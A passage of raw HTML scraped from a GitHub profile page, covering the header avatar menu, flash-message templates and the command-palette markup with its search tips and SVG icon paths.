data-analytics-event="{"category":"Header","action":"show menu","label":"icon:avatar"}" > <img src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" alt="@chikitang" size="20" height="20" width="20" data-view-component="true" class="avatar avatar-small circle" /> <span class="unread-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" preload> <include-fragment src="/users/107093285/menu" loading="lazy"> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-fg-default" data-show-on-error> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <details class="details-reset details-overlay details-overlay-dark js-command-palette-dialog" data-pjax-replace id="command-palette-pjax-container" > <summary aria-label="command palette trigger"> </summary> <details-dialog class="command-palette-details-dialog d-flex flex-column flex-justify-center height-fit" aria-label="command palette"> <command-palette class="command-palette color-bg-default rounded-3 border color-shadow-small" data-return-to=/chikitang?tab=repositories data-user-id="107093285" data-activation-hotkey="Mod+k,Mod+Alt+k" data-command-mode-hotkey="Mod+Shift+k" data-action=" command-palette-page-stack-updated:command-palette#updateInputScope itemsUpdated:command-palette#itemsUpdated keydown:command-palette#onKeydown loadingStateChanged:command-palette#loadingStateChanged selectedItemChanged:command-palette#selectedItemChanged pageFetchError:command-palette#pageFetchError "> <command-palette-mode data-char="#" data-scope-types="[""]" data-placeholder="Search issues and pull requests" ></command-palette-mode> <command-palette-mode data-char="#" data-scope-types="["owner","repository"]" data-placeholder="Search issues, pull requests, discussions, and projects" ></command-palette-mode> <command-palette-mode data-char="!" data-scope-types="["owner","repository"]" data-placeholder="Search projects" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[""]" data-placeholder="Search or jump to a user, organization, or repository" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="["owner"]" data-placeholder="Search or jump to a repository" ></command-palette-mode> <command-palette-mode data-char="/" data-scope-types="["repository"]" data-placeholder="Search files" ></command-palette-mode> <command-palette-mode data-char="?" ></command-palette-mode> <command-palette-mode data-char=">" data-placeholder="Run a command" ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[""]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="["owner"]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode class="js-command-palette-default-mode" data-char="" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-input placeholder="Search or jump to..." data-action=" command-palette-input:command-palette#onInput command-palette-select:command-palette#onSelect command-palette-descope:command-palette#onDescope command-palette-cleared:command-palette#onInputClear " > <div class="js-search-icon d-flex flex-items-center mr-2" style="height: 26px"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search color-fg-muted"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <div class="js-spinner d-flex flex-items-center mr-2 color-fg-muted" hidden> <svg aria-label="Loading" class="anim-rotate" viewBox="0 0 16 16" fill="none" width="16" height="16"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" ></circle> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" ></path> </svg> </div> <command-palette-scope > <div data-target="command-palette-scope.placeholder" hidden class="color-fg-subtle">/ <span class="text-semibold color-fg-default">...</span> / </div> <command-palette-token data-text="chikitang" data-id="U_kgDOBmIdJQ" data-type="owner" data-value="chikitang" data-targets="command-palette-scope.tokens" class="color-fg-default text-semibold" style="white-space:nowrap;line-height:20px;" >chikitang<span class="color-fg-subtle text-normal"> / </span></command-palette-token> </command-palette-scope> <div class="command-palette-input-group flex-1 form-control border-0 box-shadow-none" style="z-index: 0"> <div class="command-palette-typeahead position-absolute d-flex flex-items-center Truncate"> <span class="typeahead-segment input-mirror" data-target="command-palette-input.mirror"></span> <span class="Truncate-text" data-target="command-palette-input.typeaheadText"></span> <span class="typeahead-segment" data-target="command-palette-input.typeaheadPlaceholder"></span> </div> <input class="js-overlay-input typeahead-input d-none" disabled tabindex="-1" aria-label="Hidden input for typeahead" > <input type="text" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" class="js-input typeahead-input form-control border-0 box-shadow-none input-block width-full no-focus-indicator" aria-label="Command palette input" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="command-palette-page-stack" role="combobox" data-action=" input:command-palette-input#onInput keydown:command-palette-input#onKeydown " > </div> <button aria-label="clear command palette" aria-keyshortcuts="Control+Backspace" data-action="click:command-palette-input#onClear keypress:command-palette-input#onClear" data-target="command-palette-input.clearButton" id="command-palette-clear-button" hidden="hidden" type="button" data-view-component="true" class="btn-octicon command-palette-input-clear-button"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill"> <path fill-rule="evenodd" d="M2.343 13.657A8 8 0 1113.657 2.343 8 8 0 012.343 13.657zM6.03 4.97a.75.75 0 00-1.06 1.06L6.94 8 4.97 9.97a.75.75 0 101.06 1.06L8 9.06l1.97 1.97a.75.75 0 101.06-1.06L9.06 8l1.97-1.97a.75.75 0 10-1.06-1.06L8 6.94 6.03 4.97z"></path> </svg></button> <tool-tip hidden="hidden" for="command-palette-clear-button" data-direction="w" data-type="description" data-view-component="true">Clear</tool-tip> </command-palette-input> <command-palette-page-stack data-default-scope-id="U_kgDOBmIdJQ" data-default-scope-type="User" data-action="command-palette-page-octicons-cached:command-palette-page-stack#cacheOcticons" > <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search discussions </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">!</kbd> to search projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search teams </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[""]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search people and organizations </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">></kbd> to activate command mode </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Go to your accessibility settings to change your keyboard shortcuts </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type author:@me to search your content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:pr to filter to pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:issue to filter to issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:project to filter to projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:open to filter to open content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="mx-3 my-2 flash flash-error d-flex flex-items-center" data-scope-types="*" data-on-error> <div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </div> <div class="px-2"> We’ve encountered an error and some results aren't available at this time. Type a new search or try again later. </div> </command-palette-tip> <command-palette-tip class="h4 color-fg-default pl-3 pb-2 pt-3" data-on-empty data-scope-types="*" data-match-mode="[^?]|^$"> No results matched your search </command-palette-tip> <div hidden> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-muted"> <svg height="16" class="octicon octicon-arrow-right color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-default"> <svg height="16" class="octicon octicon-arrow-right color-fg-default" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="codespaces-color-fg-muted"> <svg height="16" class="octicon octicon-codespaces color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 1.75C2 .784 2.784 0 3.75 0h8.5C13.216 0 14 .784 14 1.75v5a1.75 1.75 0 01-1.75 1.75h-8.5A1.75 1.75 0 012 6.75v-5zm1.75-.25a.25.25 0 00-.25.25v5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25v-5a.25.25 0 00-.25-.25h-8.5zM0 11.25c0-.966.784-1.75 1.75-1.75h12.5c.966 0 1.75.784 1.75 1.75v3A1.75 1.75 0 0114.25 16H1.75A1.75 1.75 0 010 14.25v-3zM1.75 11a.25.25 0 00-.25.25v3c0 .138.112.25.25.25h12.5a.25.25 0 00.25-.25v-3a.25.25 0 00-.25-.25H1.75z"></path><path fill-rule="evenodd" d="M3 12.75a.75.75 0 01.75-.75h.5a.75.75 0 010 1.5h-.5a.75.75 0 01-.75-.75zm4 0a.75.75 0 01.75-.75h4.5a.75.75 0 010 1.5h-4.5a.75.75 0 01-.75-.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="copy-color-fg-muted"> <svg height="16" class="octicon octicon-copy color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="dash-color-fg-muted"> <svg height="16" class="octicon octicon-dash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 7.75A.75.75 0 012.75 7h10a.75.75 0 010 1.5h-10A.75.75 0 012 7.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="file-color-fg-muted"> <svg height="16" class="octicon octicon-file color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 00.25-.25V6h-2.75A1.75 1.75 0 019 4.25V1.5H3.75zm6.75.062V4.25c0 .138.112.25.25.25h2.688a.252.252 0 00-.011-.013l-2.914-2.914a.272.272 0 00-.013-.011zM2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0113.25 16h-9.5A1.75 1.75 0 012 14.25V1.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="gear-color-fg-muted"> <svg height="16" class="octicon octicon-gear color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.429 1.525a6.593 6.593 0 011.142 0c.036.003.108.036.137.146l.289 1.105c.147.56.55.967.997 1.189.174.086.341.183.501.29.417.278.97.423 1.53.27l1.102-.303c.11-.03.175.016.195.046.219.31.41.641.573.989.014.031.022.11-.059.19l-.815.806c-.411.406-.562.957-.53 1.456a4.588 4.588 0 010 .582c-.032.499.119 1.05.53 1.456l.815.806c.08.08.073.159.059.19a6.494 6.494 0 01-.573.99c-.02.029-.086.074-.195.045l-1.103-.303c-.559-.153-1.112-.008-1.529.27-.16.107-.327.204-.5.29-.449.222-.851.628-.998 1.189l-.289 1.105c-.029.11-.101.143-.137.146a6.613 6.613 0 01-1.142 0c-.036-.003-.108-.037-.137-.146l-.289-1.105c-.147-.56-.55-.967-.997-1.189a4.502 4.502 0 01-.501-.29c-.417-.278-.97-.423-1.53-.27l-1.102.303c-.11.03-.175-.016-.195-.046a6.492 6.492 0 01-.573-.989c-.014-.031-.022-.11.059-.19l.815-.806c.411-.406.562-.957.53-1.456a4.587 4.587 0 010-.582c.032-.499-.119-1.05-.53-1.456l-.815-.806c-.08-.08-.073-.159-.059-.19a6.44 6.44 0 01.573-.99c.02-.029.086-.075.195-.045l1.103.303c.559.153 1.112.008 1.529-.27.16-.107.327-.204.5-.29.449-.222.851-.628.998-1.189l.289-1.105c.029-.11.101-.143.137-.146zM8 0c-.236 0-.47.01-.701.03-.743.065-1.29.615-1.458 1.261l-.29 1.106c-.017.066-.078.158-.211.224a5.994 5.994 0 00-.668.386c-.123.082-.233.09-.3.071L3.27 2.776c-.644-.177-1.392.02-1.82.63a7.977 7.977 0 00-.704 1.217c-.315.675-.111 1.422.363 1.891l.815.806c.05.048.098.147.088.294a6.084 6.084 0 000 .772c.01.147-.038.246-.088.294l-.815.806c-.474.469-.678 1.216-.363 1.891.2.428.436.835.704 1.218.428.609 1.176.806 1.82.63l1.103-.303c.066-.019.176-.011.299.071.213.143.436.272.668.386.133.066.194.158.212.224l.289 1.106c.169.646.715 1.196 1.458 1.26a8.094 8.094 0 001.402 0c.743-.064 1.29-.614 1.458-1.26l.29-1.106c.017-.066.078-.158.211-.224a5.98 5.98 0 00.668-.386c.123-.082.233-.09.3-.071l1.102.302c.644.177 1.392-.02 1.82-.63.268-.382.505-.789.704-1.217.315-.675.111-1.422-.364-1.891l-.814-.806c-.05-.048-.098-.147-.088-.294a6.1 6.1 0 000-.772c-.01-.147.039-.246.088-.294l.814-.806c.475-.469.679-1.216.364-1.891a7.992 7.992 0 00-.704-1.218c-.428-.609-1.176-.806-1.82-.63l-1.103.303c-.066.019-.176.011-.299-.071a5.991 5.991 0 00-.668-.386c-.133-.066-.194-.158-.212-.224L10.16 1.29C9.99.645 9.444.095 8.701.031A8.094 8.094 0 008 0zm1.5 8a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM11 8a3 3 0 11-6 0 3 3 0 016 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="lock-color-fg-muted"> <svg height="16" class="octicon octicon-lock color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="moon-color-fg-muted"> <svg height="16" class="octicon octicon-moon color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.598 1.591a.75.75 0 01.785-.175 7 7 0 11-8.967 8.967.75.75 0 01.961-.96 5.5 5.5 0 007.046-7.046.75.75 0 01.175-.786zm1.616 1.945a7 7 0 01-7.678 7.678 5.5 5.5 0 107.678-7.678z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="person-color-fg-muted"> <svg height="16" class="octicon octicon-person color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M10.5 5a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm.061 3.073a4 4 0 10-5.123 0 6.004 6.004 0 00-3.431 5.142.75.75 0 001.498.07 4.5 4.5 0 018.99 0 .75.75 0 101.498-.07 6.005 6.005 0 00-3.432-5.142z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="pencil-color-fg-muted"> <svg height="16" class="octicon octicon-pencil color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.013 1.427a1.75 1.75 0 012.474 0l1.086 1.086a1.75 1.75 0 010 2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 01-.927-.928l.929-3.25a1.75 1.75 0 01.445-.758l8.61-8.61zm1.414 1.06a.25.25 0 00-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 000-.354l-1.086-1.086zM11.189 6.25L9.75 4.81l-6.286 6.287a.25.25 0 00-.064.108l-.558 1.953 1.953-.558a.249.249 0 00.108-.064l6.286-6.286z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="issue-opened-open"> <svg height="16" class="octicon octicon-issue-opened open" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="git-pull-request-draft-color-fg-muted"> <svg height="16" class="octicon octicon-git-pull-request-draft color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.25 1a2.25 2.25 0 00-.75 4.372v5.256a2.251 2.251 0 101.5 0V5.372A2.25 2.25 0 003.25 1zm0 11a.75.75 0 100 1.5.75.75 0 000-1.5zm9.5 3a2.25 2.25 0 100-4.5 2.25 2.25 0 000 4.5zm0-3a.75.75 0 100 1.5.75.75 0 000-1.5z"></path><path d="M14 7.5a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0zm0-4.25a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="search-color-fg-muted"> <svg height="16" class="octicon octicon-search color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sun-color-fg-muted"> <svg height="16" class="octicon octicon-sun color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 10.5a2.5 2.5 0 100-5 2.5 2.5 0 000 5zM8 12a4 4 0 100-8 4 4 0 000 8zM8 0a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0V.75A.75.75 0 018 0zm0 13a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0v-1.5A.75.75 0 018 13zM2.343 2.343a.75.75 0 011.061 0l1.06 1.061a.75.75 0 01-1.06 1.06l-1.06-1.06a.75.75 0 010-1.06zm9.193 9.193a.75.75 0 011.06 0l1.061 1.06a.75.75 0 01-1.06 1.061l-1.061-1.06a.75.75 0 010-1.061zM16 8a.75.75 0 01-.75.75h-1.5a.75.75 0 010-1.5h1.5A.75.75 0 0116 8zM3 8a.75.75 0 01-.75.75H.75a.75.75 0 010-1.5h1.5A.75.75 0 013 8zm10.657-5.657a.75.75 0 010 1.061l-1.061 1.06a.75.75 0 11-1.06-1.06l1.06-1.06a.75.75 0 011.06 0zm-9.193 9.193a.75.75 0 010 1.06l-1.06 1.061a.75.75 0 11-1.061-1.06l1.06-1.061a.75.75 0 011.061 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sync-color-fg-muted"> <svg height="16" class="octicon octicon-sync color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.5a5.487 5.487 0 00-4.131 1.869l1.204 1.204A.25.25 0 014.896 6H1.25A.25.25 0 011 5.75V2.104a.25.25 0 01.427-.177l1.38 1.38A7.001 7.001 0 0114.95 7.16a.75.75 0 11-1.49.178A5.501 5.501 0 008 2.5zM1.705 8.005a.75.75 0 01.834.656 5.501 5.501 0 009.592 2.97l-1.204-1.204a.25.25 0 01.177-.427h3.646a.25.25 0 01.25.25v3.646a.25.25 0 01-.427.177l-1.38-1.38A7.001 7.001 0 011.05 8.84a.75.75 0 01.656-.834z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="trash-color-fg-muted"> <svg height="16" class="octicon octicon-trash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 1.75a.25.25 0 01.25-.25h2.5a.25.25 0 01.25.25V3h-3V1.75zm4.5 0V3h2.25a.75.75 0 010 1.5H2.75a.75.75 0 010-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75zM4.496 6.675a.75.75 0 10-1.492.15l.66 6.6A1.75 1.75 0 005.405 15h5.19c.9 0 1.652-.681 1.741-1.576l.66-6.6a.75.75 0 00-1.492-.149l-.66 6.6a.25.25 0 01-.249.225h-5.19a.25.25 0 01-.249-.225l-.66-6.6z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="key-color-fg-muted"> <svg height="16" class="octicon octicon-key color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 5.5a4 4 0 112.731 3.795.75.75 0 00-.768.18L7.44 10.5H6.25a.75.75 0 00-.75.75v1.19l-.06.06H4.25a.75.75 0 00-.75.75v1.19l-.06.06H1.75a.25.25 0 01-.25-.25v-1.69l5.024-5.023a.75.75 0 00.181-.768A3.995 3.995 0 016.5 5.5zm4-5.5a5.5 5.5 0 00-5.348 6.788L.22 11.72a.75.75 0 00-.22.53v2C0 15.216.784 16 1.75 16h2a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V14h.75a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V12h.75a.75.75 0 00.53-.22l.932-.932A5.5 5.5 0 1010.5 0zm.5 6a1 1 0 100-2 1 1 0 000 2z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="comment-discussion-color-fg-muted"> <svg height="16" class="octicon octicon-comment-discussion color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 2.75a.25.25 0 01.25-.25h8.5a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-3.5a.75.75 0 00-.53.22L3.5 11.44V9.25a.75.75 0 00-.75-.75h-1a.25.25 0 01-.25-.25v-5.5zM1.75 1A1.75 1.75 0 000 2.75v5.5C0 9.216.784 10 1.75 10H2v1.543a1.457 1.457 0 002.487 1.03L7.061 10h3.189A1.75 1.75 0 0012 8.25v-5.5A1.75 